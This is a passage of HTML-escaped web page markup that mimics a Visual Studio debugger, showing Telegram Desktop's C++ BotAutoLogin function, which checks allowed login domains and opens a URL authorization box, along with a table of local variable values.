y=&#34;2.5&#34; width=&#34;13&#34; height=&#34;11&#34;/&gt;&lt;line x1=&#34;5.5&#34; x2=&#34;5.5&#34; y1=&#34;4&#34; y2=&#34;9&#34;/&gt;&lt;line x1=&#34;8&#34; x2=&#34;3&#34; y1=&#34;6.5&#34; y2=&#34;6.5&#34;/&gt;&lt;line x1=&#34;10.5&#34; x2=&#34;10.5&#34; y1=&#34;7&#34; y2=&#34;12&#34;/&gt;&lt;line x1=&#34;13&#34; x2=&#34;8&#34; y1=&#34;9.5&#34; y2=&#34;9.5&#34;/&gt;&lt;/svg&gt;Telegram&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#D6D6D6&#34; stroke=&#34;none&#34; style=&#34;float: right; padding-right: 2px&#34;&gt;&lt;polygon points=&#34;13 11 16 8 10 8&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&lt;span class=&#34;vsDropdown&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;none&#34; stroke=&#34;#DEDEDE&#34; stroke-linecap=&#34;square&#34;&gt;&lt;path d=&#34;m4.6 2.5c-0.7 0-1 0.4-1 1v3l-0.8 1v1l0.8 1v3c0 0.7 0.3 1 1 1&#34;/&gt;&lt;path d=&#34;m11.5 13.5c0.7 0 1-0.4 1-1v-3l0.8-1v-1l-0.8-1v-3c0-0.7-0.3-1-1-1&#34;/&gt;&lt;/svg&gt;Core::`anonymous-namespace&#39;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#D6D6D6&#34; stroke=&#34;none&#34; style=&#34;float: right; padding-right: 2px&#34;&gt;&lt;polygon points=&#34;13 11 16 8 10 8&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&lt;span class=&#34;vsDropdown&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#474152&#34; stroke=&#34;#9670C6&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polyline class=&#34;st0&#34; points=&#34;13.5 5 13.5 12.1 8 14.6 8 7.7 13.5 5 8 2 2.4 5 8 7.7 8 14.6 2.4 11.7 2.4 5&#34;/&gt;&lt;/svg&gt;BotAutoLogin(const QString &amp; url, const QString &amp; domain,&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#D6D6D6&#34; stroke=&#34;none&#34; style=&#34;float: right; padding-right: 2px&#34;&gt;&lt;polygon points=&#34;13 11 16 8 10 8&#34;/&gt;&lt;/svg&gt;&lt;/span&gt;&#xD;&#xA;&#x9;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div style=&#34;height: 374px&#34;&gt;&lt;span style=&#34;width: 17px;display:inline-block;background:#333;height:100%&#34;&gt;&lt;div style=&#34;height:1px&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint active&#34; title=&#34;This is a breakpoint, code execution stops here, lets me see the cool info like the locals below, and also lets me step through the code line by line!&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;div class=&#34;vsBreakpoint&#34;&gt;&lt;/div&gt;&lt;/span&gt;&lt;span class=&#34;vsCodeArea&#34; style=&#34;width: calc(100% - 17px);display:inline-block;background:#1E1E1E;height:100%&#34;&gt;&lt;!--&#xD;&#xA; This part (the syntax highlight) was really annoying to do manually, I wouldn&#39;t recommend doing it yourself. --&gt;&lt;span class=&#34;vLn&#34;&gt;   79     &lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   80     &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;[[&lt;span class=&#34;vCA&#34;&gt;nodiscard&lt;/span&gt;]] &lt;/span&gt;&lt;span class=&#34;vC2&#34;&gt;bool &lt;/span&gt;&lt;span class=&#34;vC0&#34;&gt;BotAutoLogin&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;(&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   81     &lt;/span&gt;        &lt;span class=&#34;vC2&#34;&gt;const &lt;/span&gt;&lt;span class=&#34;vC1&#34;&gt;QString &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;&amp;amp;&lt;span class=&#34;vC3&#34;&gt;url&lt;/span&gt;,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   82     &lt;/span&gt;        &lt;span class=&#34;vC2&#34;&gt;const &lt;/span&gt;&lt;span class=&#34;vC1&#34;&gt;QString &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;&amp;amp;&lt;span class=&#34;vC3&#34;&gt;domain&lt;/span&gt;,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   83     &lt;/span&gt;        &lt;span class=&#34;vC1&#34;&gt;QVariant &lt;/span&gt;&lt;span class=&#34;vC3&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;) &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;{&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   84     &lt;/span&gt;    &lt;span class=&#34;vC2&#34;&gt;auto &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;&amp;amp;&lt;span class=&#34;vC4&#34;&gt;account &lt;/span&gt;= &lt;/span&gt;&lt;span class=&#34;vC7&#34;&gt;Core&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;::&lt;span class=&#34;vC0&#34;&gt;App&lt;/span&gt;().&lt;/span&gt;&lt;span class=&#34;vC0&#34;&gt;activeAccount&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;();&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   85     &lt;/span&gt;    &lt;span class=&#34;vC2&#34;&gt;const auto &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;&amp;amp;&lt;span class=&#34;vC4&#34;&gt;config &lt;/span&gt;= &lt;/span&gt;&lt;span class=&#34;vC4&#34;&gt;account&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;.&lt;span class=&#34;vC0&#34;&gt;appConfig&lt;/span&gt;();&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   86     &lt;/span&gt;    &lt;span class=&#34;vC2&#34;&gt;const auto &lt;/span&gt;&lt;span class=&#34;vC4&#34;&gt;domains &lt;span class=&#34;vC5&#34;&gt;= &lt;/span&gt;config&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;.&lt;span class=&#34;vC0&#34;&gt;get&lt;/span&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;vC7&#34;&gt;std&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;::&lt;span class=&#34;vC1&#34;&gt;vector&lt;/span&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;vC1&#34;&gt;QString&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;&amp;gt;&amp;gt;(&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   87     &lt;/span&gt;        &lt;span class=&#34;vCB&#34;&gt;&amp;quot;&lt;span class=&#34;vC8&#34;&gt;url_auth_domains&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;,&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   88     &lt;/span&gt;        &lt;span class=&#34;vC5&#34;&gt;{});&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   89     &lt;/span&gt;    &lt;span class=&#34;vC9&#34;&gt;if &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;(!&lt;span class=&#34;vC4&#34;&gt;account&lt;/span&gt;.&lt;/span&gt;&lt;span class=&#34;vC0&#34;&gt;sessionExists&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;()&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   90     &lt;/span&gt;        &lt;span class=&#34;vC5&#34;&gt;|| &lt;span class=&#34;vC3&#34;&gt;domain&lt;/span&gt;.&lt;/span&gt;&lt;span class=&#34;vC0&#34;&gt;isEmpty&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;()&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   91     &lt;/span&gt;        &lt;span class=&#34;vC5&#34;&gt;|| &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;!&lt;span class=&#34;vC7&#34;&gt;ranges&lt;/span&gt;::&lt;/span&gt;&lt;span class=&#34;vC7&#34;&gt;contains&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;(&lt;span class=&#34;vC4&#34;&gt;domains&lt;/span&gt;, &lt;/span&gt;&lt;span class=&#34;vC3&#34;&gt;domain&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;)) {&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   92     &lt;/span&gt;        &lt;span class=&#34;vC9&#34;&gt;return &lt;/span&gt;&lt;span class=&#34;vC2&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;;&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   93     &lt;/span&gt;    &lt;span class=&#34;vC5&#34;&gt;}&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   94     &lt;/span&gt;    &lt;span class=&#34;vC2&#34;&gt;const auto &lt;/span&gt;&lt;span class=&#34;vC4&#34;&gt;good &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;= &lt;span class=&#34;vC3&#34;&gt;url&lt;/span&gt;.&lt;/span&gt;&lt;span class=&#34;vC0&#34;&gt;startsWith&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;(&lt;span class=&#34;vC7&#34;&gt;kBadPrefix&lt;/span&gt;, &lt;/span&gt;&lt;span class=&#34;vC7&#34;&gt;Qt&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;::&lt;span class=&#34;vC6&#34;&gt;CaseInsensitive&lt;/span&gt;)&lt;/span&gt; &#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   95     &lt;/span&gt;        &lt;span class=&#34;vC5&#34;&gt;? &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;(&lt;span class=&#34;vC7&#34;&gt;kGoodPrefix &lt;/span&gt;+ &lt;/span&gt;&lt;span class=&#34;vC3&#34;&gt;url&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;.&lt;span class=&#34;vC0&#34;&gt;mid&lt;/span&gt;(&lt;/span&gt;&lt;span class=&#34;vC7&#34;&gt;kBadPrefix&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;.&lt;span class=&#34;vC0&#34;&gt;size&lt;/span&gt;()))&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   96     &lt;/span&gt;        &lt;span class=&#34;vC5&#34;&gt;: &lt;span class=&#34;vC3&#34;&gt;url&lt;/span&gt;;&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   97     &lt;/span&gt;    &lt;span class=&#34;vC1&#34;&gt;UrlAuthBox&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;::&lt;span class=&#34;vC0&#34;&gt;Activate&lt;/span&gt;(&amp;amp;&lt;/span&gt;&lt;span class=&#34;vC4&#34;&gt;account&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;.&lt;span class=&#34;vC0&#34;&gt;session&lt;/span&gt;(), &lt;/span&gt;&lt;span class=&#34;vC4&#34;&gt;good&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;, &lt;span class=&#34;vC3&#34;&gt;context&lt;/span&gt;);&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   98     &lt;/span&gt;    &lt;span class=&#34;vC9&#34;&gt;return &lt;/span&gt;&lt;span class=&#34;vC2&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;;&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;   99     &lt;/span&gt;&lt;span class=&#34;vC5&#34;&gt;}&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;vLn&#34;&gt;  100     &lt;/span&gt; &lt;!----&gt;&lt;/span&gt;&#xD;&#xA;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/div&gt;&#xD;&#xA;&lt;div style=&#34;height:6px&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;vsBox&#34; style=&#34;height: fit-content&#34;&gt;&#xD;&#xA;&lt;div style=&#34;padding:2px 0 0 4px;color:#B2B2B2;user-select:none&#34;&gt;Locals&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;vsLocals&#34;&gt;&#xD;&#xA;&#x9;&lt;table&gt;&#xD;&#xA;    &#x9;&lt;colgroup&gt;&#xD;&#xA;    &#x9;   &lt;col span=&#34;1&#34; style=&#34;width: 35%&#34;&gt;&#xD;&#xA;    &#x9;   &lt;col span=&#34;1&#34; style=&#34;width: 35%&#34;&gt;&#xD;&#xA;    &#x9;   &lt;col span=&#34;1&#34; style=&#34;width: 20%&#34;&gt;&#xD;&#xA;    &#x9;&lt;/colgroup&gt;&#xD;&#xA;&#x9;&#x9;&lt;thead&gt;&#xD;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xD;&#xA;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Name&lt;/th&gt;&#xD;&#xA;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Value&lt;/th&gt;&#xD;&#xA;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Type&lt;/th&gt;&#xD;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xD;&#xA;&#x9;&#x9;&lt;/thead&gt;&#xD;&#xA;&#x9;&#x9;&lt;tbody&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;Main::AppConfig::get&amp;lt;std::vector&amp;lt;QString,std::allocator&amp;lt;QString&amp;gt; &amp;gt; &amp;gt; returned&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;{ size=5 }&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;std::vector&amp;lt;QString,std::allocator&amp;lt;QString&amp;gt;&amp;gt; &amp;amp;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;account&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;{_domain={ptr_=0x000001b3822c5990 {_dataName={...} &lt;span aria-hidden=true&gt;_local={...} _accounts={...} ...} } _local=unique_ptr {_owner={ptr_=0x000001b3887a6dd0 {_domain={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={ptr_=0x000001b3822c5990 {_dataName=data _local=unique_ptr {_owner={...} _dataName=data _localKey=shared_ptr  [2 strong refs] [] ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} ...} } ...} } ...} ...}&lt;/span&gt;&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;Main::Account &amp;amp;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;none&#34; stroke=&#34;#55AAFF&#34;&gt;&lt;rect fill=&#34;#323232&#34; stroke=&#34;#E0E0E0&#34; x=&#34;2.5&#34; y=&#34;3.5&#34; width=&#34;10&#34; height=&#34;10&#34;/&gt;&lt;line x1=&#34;10&#34; x2=&#34;5&#34; y1=&#34;7.5&#34; y2=&#34;7.5&#34;/&gt;&lt;line x1=&#34;10&#34; x2=&#34;5&#34; y1=&#34;9.5&#34; y2=&#34;9.5&#34;/&gt;&lt;/svg&gt;config&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;{_account={ptr_=0x000001b3887a6dd0 {_domain={...} &lt;span aria-hidden=true&gt;_local={...} _mtp={...} ...} } _api={_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr {_instance={ptr_=0x000001b3886a1b40 {_private=unique_ptr } } _mode=Normal (0) _config=unique_ptr {_dcOptions={...} _fields={...} _updates={...} } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} } } ...} ...}&lt;/span&gt;&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;const Main::AppConfig &amp;amp;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;context&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;{...}&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;QVariant&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;none&#34; stroke=&#34;#55AAFF&#34;&gt;&lt;rect fill=&#34;#323232&#34; stroke=&#34;#E0E0E0&#34; x=&#34;2.5&#34; y=&#34;3.5&#34; width=&#34;10&#34; height=&#34;10&#34;/&gt;&lt;line x1=&#34;10&#34; x2=&#34;5&#34; y1=&#34;7.5&#34; y2=&#34;7.5&#34;/&gt;&lt;line x1=&#34;10&#34; x2=&#34;5&#34; y1=&#34;9.5&#34; y2=&#34;9.5&#34;/&gt;&lt;/svg&gt;domain&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;web.telegram.org&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;const QString &amp;amp;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0&#34; fill=&#34;#E0E0E0&#34; stroke=&#34;none&#34;&gt;&lt;path d=&#34;M11,9.5V5.2c0-0.4-0.5-0.7-0.9-0.4L5.9,9.1C5.5,9.5,5.8,10,6.2,10h4.3C10.8,10,11,9.8,11,9.5z&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;domains&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;{ size=5 }&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;std::vector&amp;lt;QString,std::allocator&amp;lt;QString&amp;gt;&amp;gt;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#3F3C44&#34; stroke=&#34;#9670C6&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polyline class=&#34;st0&#34; points=&#34;13.5 5 13.5 12.1 8 14.6 8 7.7 13.5 5 8 2 2.4 5 8 7.7 8 14.6 2.4 11.7 2.4 5&#34;/&gt;&lt;/svg&gt;[capacity]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;5&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;unsigned __int64&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 0 17px&#34; fill=&#34;none&#34; stroke=&#34;#E0E0E0&#34; stroke-linejoin=&#34;round&#34;&gt;&lt;polygon points=&#34;9.5 8 6.5 5 6.5 11&#34;/&gt;&lt;/svg&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; fill=&#34;#293644&#34; stroke=&#34;#54A6F9&#34;&gt;&lt;polygon class=&#34;st0&#34; points=&#34;10.4 1.5 14.5 5.6 14.5 9.6 5.6 15 1.5 11.4 1.5 6.4&#34;/&gt;&lt;polyline fill=&#34;none&#34; points=&#34;1.8 6.7 5.4 10.4 5.4 14.6 5.4 10.4 14.5 5.6&#34;/&gt;&lt;/svg&gt;[allocator]&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;allocator&lt;/td&gt;&#xD;&#xA;&#x9;&lt;td&gt;std::_Compressed_pair&amp;lt;std::allocator&amp;lt;QString&amp;gt;,std::_Vector_val&amp;lt;std::_Simple_types&amp;lt;QString&amp;gt;&amp;gt;,1&amp;gt;&lt;/td&gt;&#xD;&#xA;&lt;/tr&gt;&#xD;&#xA;&lt;tr&gt;&#xD;&#xA;&#x9;&lt;td&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; style=&#34;padding:0 0 